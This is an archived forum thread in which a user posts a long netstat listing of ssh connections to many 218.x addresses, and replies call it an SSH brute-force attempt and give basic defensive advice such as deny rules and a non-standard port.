TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:50162 218.25.227.49:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37398 218.24.6.230:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:49826 218.25.104.211:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35994 218.25.131.37:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:48939 218.25.107.94:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:38526 218.25.90.18:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:60958 218.25.62.116:ssh
TIME_WAIT   
tcp        0     84 x-xx-x-xx-xx.xxxxxxxx:59600 218.25.68.131:ssh
ESTABLISHED 
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:55149 218.25.227.81:ssh
TIME_WAIT   
tcp        0     68 x-xx-x-xx-xx.xxxxxxxx:33514 218.24.66.162:ssh
ESTABLISHED 
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:58673 218.25.59.190:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37049 218.25.20.66:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:47910 218.24.148.167:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:50745 218.25.72.50:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:58738 218.25.57.36:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42031 218.23.19.146:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:44045 218.25.160.246:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:45152 218.25.105.24:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35100 218.25.114.234:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:50980 218.25.72.50:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:54066 218.25.82.35:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56298 218.25.88.164:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:49105 218.25.82.35:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:48661 mail.sami.com.cn:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:48717 218.25.107.94:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:58517 218.25.170.23:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36223 218.25.246.116:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:46304 218.25.16.243:ssh
FIN_WAIT2   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:38747 218.22.202.242:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:40385 218.25.131.134:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:49054 218.25.10.97:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:44797 218.25.27.37:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:33411 218.25.27.37:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:54618 218.25.227.65:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:58382 218.25.68.131:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:60408 218.22.202.242:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56205 218.25.10.17:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:49885 218.25.164.66:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:48169 218.25.91.198:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41922 218.25.62.116:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:49307 218.25.227.49:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:39918 218.25.57.18:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36459 218.25.227.81:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:33356 218.25.28.250:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:38988 218.25.107.94:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:58813 218.25.10.51:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:34797 218.25.18.199:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:49089 mail.sami.com.cn:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:34721 218.25.105.200:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:39040 218.25.28.54:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:47246 218.25.36.155:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43024 218.25.170.148:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35479 218.24.136.208:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35669 218.24.134.59:ssh
ESTABLISHED 
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35017 218.25.69.163:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36608 218.25.131.112:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:46605 218.24.136.208:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:55020 218.25.42.213:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:33525 218.25.27.37:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53019 218.25.42.230:ssh
TIME_WAIT   
tcp        0     20 x-xx-x-xx-xx.xxxxxxxx:60592 218.22.134.190:ssh
ESTABLISHED 
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:34081 218.25.108.11:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41935 218.25.48.94:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43447 218.24.6.230:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:55455 218.25.36.94:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56716 218.25.240.214:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:50713 218.25.36.93:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:59692 218.25.68.131:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:45870 218.25.164.67:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:50775 218.25.131.112:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:60629 218.25.42.214:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:39526 218.25.59.247:ssh
TIME_WAIT   
tcp        0     20 x-xx-x-xx-xx.xxxxxxxx:37901 218.25.234.46:ssh
ESTABLISHED 
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37515 218.25.234.46:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35902 218.25.20.66:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43099 218.25.170.133:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35002 218.24.136.208:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43611 218.25.227.65:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56501 218.25.105.171:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:59022 218.25.10.51:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:33120 218.25.69.162:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:33349 218.25.228.66:ssh
TIME_WAIT   
tcp        0     52 x-xx-x-xx-xx.xxxxxxxx:46404 218.25.164.67:ssh
ESTABLISHED 
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43442 218.25.20.66:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:34481 218.24.134.59:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37258 218.25.62.117:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:60094 218.25.76.53:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41505 218.25.10.96:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35714 218.25.105.172:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36425 218.22.134.190:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51627 218.25.72.50:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43296 218.25.71.30:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43445 218.25.71.30:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41163 218.25.48.94:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:34431 218.25.69.163:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41549 218.25.62.116:ssh
TIME_WAIT   
tcp        0      1 x-xx-x-xx-xx.xxxxxxxx:37732 218.25.62.117:ssh
SYN_SENT    
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53625 218.25.16.80:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:34687 218.25.18.199:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:55731 218.25.88.164:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:46492 218.25.200.50:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42103 218.25.48.94:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:59849 218.25.57.36:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42001 218.25.23.234:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53249 218.25.81.58:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:52250 218.25.104.211:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53024 218.25.10.4:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43656 218.25.170.148:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36353 218.25.227.81:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35920 218.25.105.172:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:45379 218.24.148.167:ssh
TIME_WAIT   
tcp        0      1 x-xx-x-xx-xx.xxxxxxxx:33064 218.25.59.190:ssh
SYN_SENT    
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42909 218.25.170.133:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36156 218.25.227.81:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:48545 218.25.91.182:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:58671 218.25.228.66:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:49418 218.25.30.122:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:55844 218.25.131.37:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:40166 218.25.76.58:ssh
TIME_WAIT  
===== END ===== 
0
Reply anonymous3659 (7) 9/19/2008 2:17:01 PM

See related articles to this posting


Anon E. Muss wrote:
> I recently noticed excessive acitivity on my router's activity LED and
> did a little investigating.  As immediate action, I used a big hammer
> and firewalled off 218/8 until I can figure out what is going on here.
> Yesterday, it was 201/8.
> 
> Below is most of output of netstat.  Can someone let me know what is
> going on here?  SynFlood??  Also, any suggestions??
> 
> ===== BEGIN =====
> Active Internet connections (w/o servers)
> Proto Recv-Q Send-Q Local Address               Foreign Address State
> 
> [snip]

Welcome to the Internet.  It's been here for a while.  Where have you been?

If you have services offered to the world, lots of people are going to 
try to break in.  If you have ssh turned on with guessable usernames 
(like, you know, root, ftp, httpd, or bin) and authentication using only 
password enabled, eventually someone is going to guess your lame password.
0
Reply ackistler (610) 9/19/2008 2:56:24 PM

Anon E. Muss <anonymous@example.org> writes:

>I recently noticed excessive acitivity on my router's activity LED and
>did a little investigating.  As immediate action, I used a big hammer
>and firewalled off 218/8 until I can figure out what is going on here.
>Yesterday, it was 201/8.


ssh brute force attack. Use ssh to try to log onto numerous accounts and
use common passwords to see if they can get in. 
Look in /var/log/messages for a whole bunch of Invalid login attempts via
ssh.


>Below is most of output of netstat.  Can someone let me know what is
>going on here?  SynFlood??  Also, any suggestions??

Welcome to the real world. 

I have a script which looks for such attacks and puts the IP into
/etc/hosts.allow with a deny (run every 5 min)
sshd: 1111.222.333.444 :deny

2) have a single machine which is open to ssh from the outside world-- have
the rest of the machines be open from within the lan ( again use 
/etc/hosts.allow)

3) Alter your ssh port from the standard so you always have to use the -p
option to log on. Script kiddies tend to try the standard port.





>===== BEGIN =====
>Active Internet connections (w/o servers)
>Proto Recv-Q Send-Q Local Address               Foreign Address State
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37775 218.25.160.246:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.lsa:safetynetp 218.25.17.78:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:57080 218.25.228.66:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:47493 218.25.164.66:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:55216 218.25.23.202:ssh
>TIME_WAIT   
>tcp        1      1 x-xx-x-xx-xx.xxxxxxxx:35938 218.22.134.190:ssh
>LAST_ACK    
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:39028 218.25.200.50:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51003 218.23.19.146:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:59585 218.25.108.11:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:59673 218.25.125.57:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53762 218.25.42.230:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:48582 218.25.164.66:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56311 218.25.105.156:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:59068 218.25.68.131:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:50593 218.24.134.59:ssh
>ESTABLISHED 
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43444 218.25.16.243:ssh
>FIN_WAIT2   
>tcp        0    144 x-xx-x-xx-xx.xxxxxxxx:57082 218.25.131.55:ssh
>ESTABLISHED 
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35755 218.25.16.80:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:50585 218.25.72.50:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:33870 218.24.136.208:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37288 218.25.90.18:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:47056 218.25.36.155:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51429 218.25.62.117:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:58097 218.25.10.90:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51884 218.25.62.117:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35544 218.22.134.190:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51054 218.25.164.67:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41542 218.25.200.50:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:55323 218.25.90.18:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:34829 218.22.134.190:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:40940 218.25.10.96:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:34398 218.22.134.190:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:44125 218.25.160.246:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:50068 218.25.129.2:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56645 218.25.10.146:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:54662 218.25.36.94:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:58924 218.25.57.36:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:60523 218.25.88.164:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56838 218.25.228.66:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:49033 218.25.82.35:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:48851 218.25.91.198:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:32970 218.25.88.164:ssh
>TIME_WAIT   
>tcp        1      1 x-xx-x-xx-xx.xxxxxxxx:58091 218.25.22.130:ssh
>CLOSING     
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:45377 www.huachu.com.cn:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:39854 218.25.160.246:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56368 218.25.23.202:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:40340 218.25.10.189:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41732 218.25.42.214:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41449 218.25.23.234:ssh
>TIME_WAIT   
>tcp        0     68 x-xx-x-xx-xx.xxxxxxxx:50518 218.25.62.114:ssh
>ESTABLISHED 
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:57437 218.25.69.163:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:60294 218.25.42.214:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:47893 218.25.227.49:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:44896 218.25.17.68:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42777 218.25.20.66:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:38397 218.25.59.247:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:49095 218.25.227.49:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:49746 218.25.30.122:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:52335 218.25.42.230:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:49461 218.25.72.50:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37801 218.25.17.77:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:38687 218.25.107.94:ssh
>TIME_WAIT   
>tcp        0      1 x-xx-x-xx-xx.xxxxxxxx:56378 218.25.10.17:ssh
>SYN_SENT    
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36641 218.25.62.115:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:46728 218.25.240.214:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:47649 218.25.91.198:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35772 218.25.246.116:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:55864 218.25.101.146:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37397 218.25.62.115:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:59027 218.22.134.190:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37125 218.25.57.18:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41737 218.25.62.116:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56882 218.25.23.202:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35799 218.22.134.190:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:47044 218.24.148.167:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53872 218.25.42.230:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41543 218.24.143.5:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53433 218.25.16.80:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42741 218.25.76.53:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:58012 218.25.228.66:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42430 218.25.10.97:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36092 218.22.134.190:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:50163 218.25.17.77:ssh
>ESTABLISHED 
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:32851 218.25.88.164:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36355 218.25.18.199:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53809 218.25.227.65:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:58463 218.25.59.190:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:57728 218.25.116.166:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:52352 218.25.62.117:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56549 218.25.105.83:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53136 218.25.170.140:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:48916 218.25.30.122:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:46488 218.25.36.155:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36055 218.25.20.66:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:58452 218.25.68.131:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41468 218.23.19.146:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:46261 218.25.240.214:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43136 218.25.20.66:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53043 218.25.62.90:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:39362 218.25.107.94:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41362 218.25.10.97:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:45857 218.25.10.17:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:40498 218.25.57.18:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37745 218.24.6.230:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:59989 218.25.170.23:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37281 218.25.62.115:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:54428 218.25.42.230:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37513 218.25.81.250:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:60183 218.25.62.116:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:45406 218.25.10.17:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:59714 218.25.170.23:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:33094 218.25.62.116:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:48229 mail.sami.com.cn:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:46949 218.25.200.50:ssh
>ESTABLISHED 
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51745 218.24.190.206:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42422 218.25.82.6:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:46936 218.24.148.167:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56740 218.25.105.83:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:49744 218.25.17.77:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43153 218.25.23.234:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37127 218.25.105.83:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42805 218.25.227.65:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:55940 218.25.240.214:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41968 218.25.20.66:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42458 218.25.48.94:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:50818 218.25.72.50:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:59115 218.25.17.68:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42158 218.25.170.133:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36337 218.25.36.93:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51488 218.24.190.206:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53331 218.25.227.65:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53769 218.25.82.35:ssh
>TIME_WAIT   
